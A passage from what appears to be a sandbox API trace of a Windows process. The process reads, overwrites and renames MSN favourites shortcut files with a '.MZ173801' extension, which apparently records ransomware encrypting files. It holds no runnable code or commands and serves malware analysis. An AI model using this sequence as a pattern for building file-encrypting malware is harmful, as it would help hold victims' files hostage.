lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.528] GetCurrentThreadId () returned 0x9fc [0144.528] GetCurrentThreadId () returned 0x9fc [0144.528] GetCurrentThreadId () returned 0x9fc [0144.528] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.529] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.529] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.529] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.529] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.529] ReadFile (in: hFile=0x2a8, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.530] CloseHandle (hObject=0x2a8) returned 1 [0144.530] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.531] WriteFile (in: hFile=0x2a8, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.533] CloseHandle (hObject=0x2a8) returned 1 [0144.533] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url.mz173801")) returned 1 [0144.533] GetCurrentThreadId () returned 0x9fc [0144.533] GetCurrentThreadId () returned 0x9fc [0144.533] GetCurrentThreadId () returned 0x9fc [0144.534] GetCurrentThreadId () returned 0x9fc [0144.534] GetCurrentThreadId () returned 0x9fc [0144.534] GetCurrentThreadId () returned 0x9fc [0144.534] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.534] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.538] GetCurrentThreadId () returned 0x9fc [0144.538] GetCurrentThreadId () returned 0x9fc [0144.538] GetCurrentThreadId () returned 0x9fc [0144.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.539] GetCurrentThreadId () returned 0x9fc [0144.539] GetCurrentThreadId () returned 0x9fc [0144.539] GetCurrentThreadId () returned 0x9fc [0144.539] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.539] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.539] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.539] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.539] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.539] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.540] CloseHandle (hObject=0x2a8) returned 1 [0144.540] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.542] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.543] CloseHandle (hObject=0x2a8) returned 1 [0144.543] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url.mz173801")) returned 1 [0144.543] GetCurrentThreadId () returned 0x9fc [0144.543] GetCurrentThreadId () returned 0x9fc [0144.543] GetCurrentThreadId () returned 0x9fc [0144.544] GetCurrentThreadId () returned 0x9fc [0144.544] GetCurrentThreadId () returned 0x9fc [0144.544] GetCurrentThreadId () returned 0x9fc [0144.544] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.544] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 